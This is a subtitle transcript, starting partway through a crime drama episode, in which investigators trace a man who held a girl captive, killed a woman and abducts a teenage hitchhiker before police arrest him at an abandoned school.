00:25:02.088 --> 00:25:03.889
I love you, Dad.

00:25:11.464 --> 00:25:15.433
Morningside and Ellesmere.
Got it. Thanks.

00:25:15.434 --> 00:25:18.503
Tim Lawton's car just showed up.
Ident's going over it now.

00:25:18.504 --> 00:25:21.439
I mean, Maya was smart.
She worked with disturbed people

00:25:21.440 --> 00:25:23.608
all the time. Why didn't she see
through this guy?

00:25:23.609 --> 00:25:26.444
He had his act down.
I mean, there was no reason

00:25:26.445 --> 00:25:28.746
for Maya to doubt that he was
exactly who he said he was...

00:25:28.747 --> 00:25:32.750
an antique dealer who thought that
she was attractive and interesting.

00:25:32.751 --> 00:25:35.319
This was at the front for you.

00:25:35.320 --> 00:25:36.821
Oh, juvenile

00:25:36.822 --> 00:25:38.689
psych records on Lawton.

00:25:38.690 --> 00:25:40.691
But why go after

00:25:40.692 --> 00:25:43.628
Maya at all when he had a girl
locked up in his basement?

00:25:43.629 --> 00:25:45.930
Well, someone like Maya might
help him feel normal.

00:25:45.931 --> 00:25:47.964
Except he wasn't normal.

00:25:47.965 --> 00:25:50.667
Father died when Lawton was 10,
mother worked nights

00:25:50.668 --> 00:25:54.771
as a cleaner at a private school
till it closed down in the '80s.

00:25:54.772 --> 00:25:58.875
She was investigated for
physical abuse and confinement

00:25:58.876 --> 00:26:02.046
of Tim, but committed suicide
before it went to court.

00:26:02.047 --> 00:26:04.915
Got some audio here.

00:26:04.916 --> 00:26:07.684
Tell me about "the box," Tim.

00:26:07.685 --> 00:26:09.686
Why did your mother put you
in there?

00:26:09.687 --> 00:26:11.788
Just, if I was bad.

00:26:11.789 --> 00:26:16.660
I couldn't see if it was light
or dark outside, so I don't know

00:26:16.661 --> 00:26:21.630
for how long.
I still dream about it.

00:26:21.631 --> 00:26:23.433
Do you think that will stop?

00:26:23.434 --> 00:26:25.701
I'd like to help you
make it stop.

00:26:25.702 --> 00:26:28.804
Something tells me
she didn't make it stop.

00:26:28.805 --> 00:26:32.007
So, Tim Lawton was locked up,

00:26:32.008 --> 00:26:34.009
and abused physically

00:26:34.010 --> 00:26:36.011
and emotionally
throughout his youth.

00:26:36.012 --> 00:26:39.648
He can't have a relationship
unless he's in total control.

00:26:39.649 --> 00:26:41.750
It's not about sex;
It's about power.

00:26:41.751 --> 00:26:44.186
Now I see it.

00:26:44.187 --> 00:26:46.188
Maya.

00:26:47.891 --> 00:26:51.159
She liked the broken ones -
like Brendan. Always thought

00:26:51.160 --> 00:26:53.161
- she could fix 'em.
- All right, so,

00:26:53.162 --> 00:26:55.763
now we've taken away Lawton's
power. What'll that do to him?

00:26:55.764 --> 00:27:00.235
He'll be under extreme stress. He'll
need to regain control at any cost.

00:27:00.236 --> 00:27:02.404
Which makes him
more dangerous than ever.

00:27:02.405 --> 00:27:05.540
Black.

00:27:07.577 --> 00:27:10.578
Yeah, just follow at a safe
distance and keep me posted.

00:27:10.579 --> 00:27:14.949
Isabelle Saunders has just left
her parents' house alone.

00:27:14.950 --> 00:27:18.485
I think I know
where she's going.

00:27:31.099 --> 00:27:33.601
Isabelle?

00:27:33.602 --> 00:27:37.070
It's me, Dr. Malone.

00:27:43.210 --> 00:27:45.511
All my stuff is gone.

00:27:47.214 --> 00:27:49.382
It's evidence.

00:27:49.383 --> 00:27:52.018
The police had to take it away.

00:27:59.993 --> 00:28:02.395
What about your parents' house?

00:28:02.396 --> 00:28:04.897
You still have things
of your own there.

00:28:04.898 --> 00:28:08.901
They're not my real
family. Tim is my family.

00:28:08.902 --> 00:28:12.172
Is that what he told you?

00:28:12.173 --> 00:28:14.274
Tim called my parents,

00:28:14.275 --> 00:28:16.275
and they said
they didn't want me anymore.

00:28:16.276 --> 00:28:19.912
He even drove me
over there, and I saw.

00:28:19.913 --> 00:28:22.114
They were unloading groceries.

00:28:22.115 --> 00:28:25.217
They weren't crying.

00:28:27.220 --> 00:28:30.255
Tim said it proved
they didn't care about me.

00:28:30.256 --> 00:28:31.791
Isabelle,

00:28:31.792 --> 00:28:34.426
Tim is gone.

00:28:34.427 --> 00:28:35.927
He left you here.

00:28:35.928 --> 00:28:38.129
- He is not coming back.
- You don't know anything

00:28:38.130 --> 00:28:39.931
about it.

00:28:41.634 --> 00:28:46.437
He's always looking out for me.
He only cares about me.

00:28:49.709 --> 00:28:52.343
You said Tim drove you
to your parents' house?

00:28:52.344 --> 00:28:55.379
He took me on car rides
when I was good.

00:28:55.380 --> 00:28:58.683
Where else did he take you?

00:28:58.684 --> 00:29:01.552
We looked at a school.

00:29:01.553 --> 00:29:04.055
He said I could go
to school someday.

00:29:04.056 --> 00:29:06.890
Do you want to go to school?

00:29:06.891 --> 00:29:10.661
Tim says I'm not...
ready yet.

00:29:10.662 --> 00:29:12.863
But I will be.

00:29:12.864 --> 00:29:15.866
He told me I'm the fastest learner
of all the girls he ever met.

00:29:15.867 --> 00:29:17.735
There were other girls?

00:29:17.736 --> 00:29:20.738
I was the only one
he ever brought home.

00:29:20.739 --> 00:29:23.140
With me, he doesn't
need them anymore.

00:29:23.141 --> 00:29:26.843
I take care of him so he doesn't
have to hurt anyone else.

00:29:28.546 --> 00:29:30.347
That's why I've stayed.

00:29:31.225 --> 00:29:33.234
Isabelle,

00:29:34.418 --> 00:29:37.087
you stayed because you were
a prisoner.

00:29:37.088 --> 00:29:38.888
You don't understand.

00:29:44.262 --> 00:29:46.062
What is it?

00:29:49.066 --> 00:29:51.268
Isabelle.

00:29:51.269 --> 00:29:54.070
What aren't you telling me?

00:30:06.283 --> 00:30:08.550
Tim didn't know about it
at first.

00:30:08.551 --> 00:30:13.221
I just wanted to feel the grass
under my feet.

00:30:13.222 --> 00:30:15.223
But he found out.

00:30:15.224 --> 00:30:17.926
That was a bad day.

00:30:20.363 --> 00:30:24.933
I only went out when it was
dark and no people were around.

00:30:24.934 --> 00:30:27.769
Were you out two nights ago?

00:30:30.372 --> 00:30:32.640
Yeah.

00:30:32.641 --> 00:30:36.010
Is that when you drew the picture
of the lady on the ground?

00:30:38.747 --> 00:30:40.248
Isabelle,

00:30:40.249 --> 00:30:42.884
what happened to her?

00:30:42.885 --> 00:30:45.185
I told her to leave.

00:30:47.956 --> 00:30:50.257
And then I hit her.

00:31:08.443 --> 00:31:10.444
Where you headed?

00:31:10.445 --> 00:31:12.313
To Barrie.

00:31:12.314 --> 00:31:14.315
Your parents know
you're hitchhiking?

00:31:14.316 --> 00:31:16.916
I'm careful.

00:31:18.619 --> 00:31:20.654
You're running away?

00:31:20.655 --> 00:31:22.823
I've been a youth pastor
for many years now,

00:31:22.824 --> 00:31:24.323
and I know the look.

00:31:24.324 --> 00:31:27.793
I'm going to my grandmother's.

00:31:27.794 --> 00:31:29.962
It's dangerous out there,
you know?

00:31:29.963 --> 00:31:33.131
OK, hop in.
I'm going past Barrie.

00:31:33.132 --> 00:31:36.502
I'll drop you off.
You hungry?

00:31:36.503 --> 00:31:39.171
There's a nice
hamburger joint up there.

00:31:39.172 --> 00:31:42.707
I can buy you some lunch, you
can decide if I'm trustworthy.

00:31:42.708 --> 00:31:46.311
Or are you one of those
vegetarian kids?

00:31:48.581 --> 00:31:50.949
No. I like hamburgers.

00:31:50.950 --> 00:31:52.750
Good.

00:31:56.589 --> 00:31:58.556
Put your seatbelt on.

00:32:04.083 --> 00:32:06.329
Isabelle Saunders
just confessed to the murder.

00:32:06.330 --> 00:32:09.332
She's trying to protect Lawton.
I don't believe she did it.

00:32:09.333 --> 00:32:12.268
I don't either, but we're
gonna hold her in custody.

00:32:12.269 --> 00:32:15.072
- What?
- Amber Alert.

00:32:15.073 --> 00:32:17.140
Jenna Wahl, 16.

00:32:17.141 --> 00:32:19.576
She went missing. They thought
it was a classic teen runaway,

00:32:19.577 --> 00:32:21.811
but then a cashier reported
seeing her at a burger joint.

00:32:21.812 --> 00:32:23.813
That's from
their security camera.

00:32:23.814 --> 00:32:27.617
- Oh, no. We've got to get Isabelle to talk.
- Every cop in the city's

00:32:27.618 --> 00:32:29.619
looking for this guy,
and he takes another girl?

00:32:29.620 --> 00:32:31.121
How crazy is he?

00:32:31.122 --> 00:32:33.389
Extreme stress makes
people act out...

00:32:33.390 --> 00:32:36.259
people with anger issues go
into a rage,

00:32:36.260 --> 00:32:38.260
people with drinking problems
drink to excess.

00:32:38.261 --> 00:32:40.763
And deviant control freaks
find new victims to abduct.

00:32:40.764 --> 00:32:43.032
Mmhmm. Well, find this one.

00:32:48.805 --> 00:32:50.806
I just gotta go
into this place real quick.

00:32:50.807 --> 00:32:52.808
- I'll wait for you here.
- Are you kidding?

00:32:52.809 --> 00:32:55.244
No way is it safe
out here for you.

00:32:55.245 --> 00:32:57.246
You got a lot to learn, Jenna.

00:32:57.247 --> 00:32:59.248
Yeah, but I was thinking
I should go home.

00:32:59.249 --> 00:33:02.484
My parents will be looking for me.
That's a good idea.

00:33:02.485 --> 00:33:04.986
But first you should
come in with me.

00:33:04.987 --> 00:33:06.988
Real quick, just to be safe.

00:33:06.989 --> 00:33:10.425
And then I'll take you back home.
You got my word on that.

00:33:18.300 --> 00:33:20.101
Ugh! Ugh!

00:33:20.102 --> 00:33:23.504
You'll like me, you'll see.
When you get to know me better.

00:33:23.505 --> 00:33:26.841
No! Please. Please!

00:33:29.678 --> 00:33:31.345
Please let me go!

00:33:31.346 --> 00:33:33.147
Help!

00:33:33.148 --> 00:33:34.649
Help me!

00:33:34.650 --> 00:33:37.451
I don't want
to talk to you anymore.

00:33:37.452 --> 00:33:39.853
You want to hurt Tim.

00:33:39.854 --> 00:33:42.956
And you want to protect him?

00:33:42.957 --> 00:33:45.625
Can you tell me why?

00:33:45.626 --> 00:33:47.627
You think I'm stupid.

00:33:47.628 --> 00:33:50.463
You think he fooled me,

00:33:50.464 --> 00:33:53.333
but I KNOW he loves me.

00:33:53.334 --> 00:33:55.468
Your parents love you.

00:33:55.469 --> 00:33:57.137
You had friends who loved you,

00:33:57.138 --> 00:33:59.939
and you will have friends again
when you go back home.

00:34:01.642 --> 00:34:04.411
Tim says the only one
who loves me is him.

00:34:04.412 --> 00:34:06.212
Isabelle...

00:34:11.819 --> 00:34:15.154
that was a lie Tim told you.

00:34:15.155 --> 00:34:19.992
He left you
in that basement alone.

00:34:19.993 --> 00:34:22.461
Because you scared him.

00:34:25.165 --> 00:34:29.035
He wants you to take the blame
for murdering that woman.

00:34:29.036 --> 00:34:32.338
You think he misses you?

00:34:34.907 --> 00:34:39.044
What if I told you that Tim has
already taken another girl?

00:34:41.348 --> 00:34:43.148
He wouldn't do that.

00:34:49.889 --> 00:34:52.523
Isabelle,

00:34:52.524 --> 00:34:56.727
stop protecting someone
who doesn't care about you.

00:35:02.935 --> 00:35:06.437
He said he was gonna
come back for me.

00:35:10.776 --> 00:35:13.033
But he didn't come back.

00:35:14.280 --> 00:35:18.883
Isabelle, you didn't hit
anybody, did you?

00:35:21.953 --> 00:35:25.255
I heard Tim talking to that lady
on the phone a couple times.

00:35:27.558 --> 00:35:30.794
She came over to see him,
but I was outside.

00:35:32.497 --> 00:35:35.766
I tried to make her go away.
Are you OK?

00:35:35.767 --> 00:35:37.768
I told you,
we don't want you here!

00:35:37.769 --> 00:35:40.404
But she followed me.

00:35:40.405 --> 00:35:43.173
My name is Maya.

00:35:43.174 --> 00:35:45.541
Tim came up.

00:35:50.448 --> 00:35:52.448
He killed her.

00:35:54.452 --> 00:35:57.620
So she wouldn't tell anyone
about me.

00:35:57.621 --> 00:36:00.290
You see what you m...
what you made me do?

00:36:00.291 --> 00:36:02.325
Are you proud of yourself?

00:36:05.462 --> 00:36:08.131
I'm sorry, I'm sorry,
I'm sorry, I'm sorry.

00:36:08.132 --> 00:36:10.833
I'm sorry, I'm sorry, I'm sorry.

00:36:12.536 --> 00:36:14.036
Do you know

00:36:14.037 --> 00:36:19.842
where Tim could be now?
Where he's taken this girl?

00:36:25.816 --> 00:36:27.616
Where he took me first.

00:36:30.386 --> 00:36:32.621
He took me to school.

00:36:40.763 --> 00:36:43.198
Tim's mother, you said
she was a cleaner

00:36:43.199 --> 00:36:45.499
at a school
that closed down, right?

00:36:48.371 --> 00:36:51.740
Everton College.
Closed in 1987.

00:36:51.741 --> 00:36:54.042
Still abandoned.

00:36:55.878 --> 00:36:58.179
That's where he is.

00:37:27.040 --> 00:37:29.108
Whoa, whoa, whoa, whoa.

00:37:29.109 --> 00:37:31.110
- What?
- Wait here. Watch the doors.

00:37:31.111 --> 00:37:33.112
Any sign of Lawton or the girl,
you just buzz us.

00:37:33.113 --> 00:37:35.114
Aidan, I need
to be a part of this.

00:37:35.115 --> 00:37:38.217
You are a part of this, Leo,
but I need level heads in there.

00:37:38.218 --> 00:37:42.187
So, just watch the door
and let us do our job.

00:38:34.322 --> 00:38:36.456
If you're good, Jenna,

00:38:36.457 --> 00:38:38.124
I can be really

00:38:38.125 --> 00:38:41.628
nice to you. It's so much better
if you're good, Jenna.

00:38:41.629 --> 00:38:43.963
- Please...
- Oh.

00:38:43.964 --> 00:38:46.533
Please, please stop.

00:38:46.534 --> 00:38:48.535
- Stop it.
- I'll teach you how,

00:38:48.536 --> 00:38:50.537
- OK?
- Please...

00:38:50.538 --> 00:38:52.539
- But you gotta be positive.
- Please.

00:38:52.540 --> 00:38:55.541
- Hey, you gotta believe in us.
- Please.

00:38:55.542 --> 00:38:57.843
You gotta believe in us, OK?

00:38:57.844 --> 00:39:00.779
You gotta believe in us.

00:39:04.184 --> 00:39:06.952
Police! Don't move!

00:39:09.423 --> 00:39:12.591
Drop the scissors, Lawton,
and move away from the girl.

00:39:12.592 --> 00:39:15.661
- No, you... you got this wrong, officer.
- Do it now!

00:39:15.662 --> 00:39:18.664
I found this girl, and she was
trespassing, all right?

00:39:18.665 --> 00:39:20.999
On private property.
I was gonna call you guys.

00:39:21.000 --> 00:39:23.902
This is your last warning.

00:39:28.274 --> 00:39:31.476
If you think I won't pull
this trigger, you're wrong.

00:39:33.179 --> 00:39:35.913
I'll kill her.

00:39:35.914 --> 00:39:38.783
- Ow!
- Drop it!

00:39:38.784 --> 00:39:41.419
You don't understand.

00:39:41.420 --> 00:39:42.920
I understand.

00:39:42.921 --> 00:39:47.191
Just give me an excuse to put
you down right here and now.

00:39:47.192 --> 00:39:48.993
Drop it!

00:39:51.630 --> 00:39:54.866
Get down on your knees!
You don't understand.

00:39:54.867 --> 00:39:57.301
On your knees!

00:39:57.302 --> 00:39:59.236
All the way down!

00:39:59.237 --> 00:40:01.372
Hands behind your back!

00:40:01.373 --> 00:40:04.875
Don't move. Don't move!

00:40:04.876 --> 00:40:08.812
Tim Lawton, you're under arrest
for the murder of Maya Henson,

00:40:08.813 --> 00:40:11.215
two counts of kidnapping
and forcible confinement,

00:40:11.216 --> 00:40:13.217
aggravated assault,
sexual assault,

00:40:13.218 --> 00:40:16.186
and a lot more coming.

00:40:22.727 --> 00:40:25.495
" Once again it's begin

00:40:25.496 --> 00:40:26.997
" I'm stuck and...

00:40:26.998 --> 00:40:28.383
Just give me one minute
with him.

00:40:28.384 --> 00:40:29.813
- Back off, Leo.
- One minute.

00:40:29.814 --> 00:40:31.480
Hey! Back off.

00:40:32.146 --> 00:40:36.339
It's a good thing
you didn't let me go in there.

00:40:36.340 --> 00:40:39.842
You were in love
with Maya Henson, weren't you?

00:40:39.843 --> 00:40:44.180
Yeah... years ago.

00:40:44.181 --> 00:40:46.482
You should've told me, Leo.

00:40:49.352 --> 00:40:54.356
" Through the same pale grin

00:40:54.357 --> 00:40:58.493
" I gave

00:41:00.697 --> 00:41:05.667
" Just breathe

00:41:07.370 --> 00:41:09.670
" Just breathe

00:41:18.881 --> 00:41:22.617
" And it goes from the gutter

00:41:22.618 --> 00:41:28.356
" And flat on the floor

00:41:31.827 --> 00:41:35.830
" There's no use riding waves

00:41:35.831 --> 00:41:40.634
" Crash to the shore

00:41:40.635 --> 00:41:42.436
Let's go.

00:41:51.012 --> 00:41:54.981
" Disaster paths, aftermaths

00:41:56.851 --> 00:41:59.786
They never stopped
looking for you.

00:42:04.025 --> 00:42:07.160
OK?
" And I'm at best an island

00:42:07.161 --> 00:42:09.362
" And you're an ocean

00:42:09.363 --> 00:42:12.698
" You surround

00:42:17.271 --> 00:42:21.741
" And you came in

00:42:21.742 --> 00:42:23.243
You OK?

00:42:23.244 --> 00:42:25.044
Yeah.

00:42:31.652 --> 00:42:34.219
You think Isabelle's
gonna be OK?

00:42:34.220 --> 00:42:35.988
Yeah. Yeah.

00:42:35.989 --> 00:42:38.157
Family support and some time,

00:42:38.158 --> 00:42:40.459
I think she has a good chance.

00:42:42.162 --> 00:42:46.331
I just...
I can't stop thinking.

00:42:46.332 --> 00:42:48.667
About what?

00:42:48.668 --> 00:42:50.834
Who else is out there?

00:42:50.835 --> 00:42:53.837
How many more Isabelles?

00:42:53.838 --> 00:42:55.839
One less than yesterday.

00:42:55.840 --> 00:42:57.942
" Just breathe

00:42:59.401 --> 00:43:02.450
www.ZooCine.Com

ZeroDay Forums Mini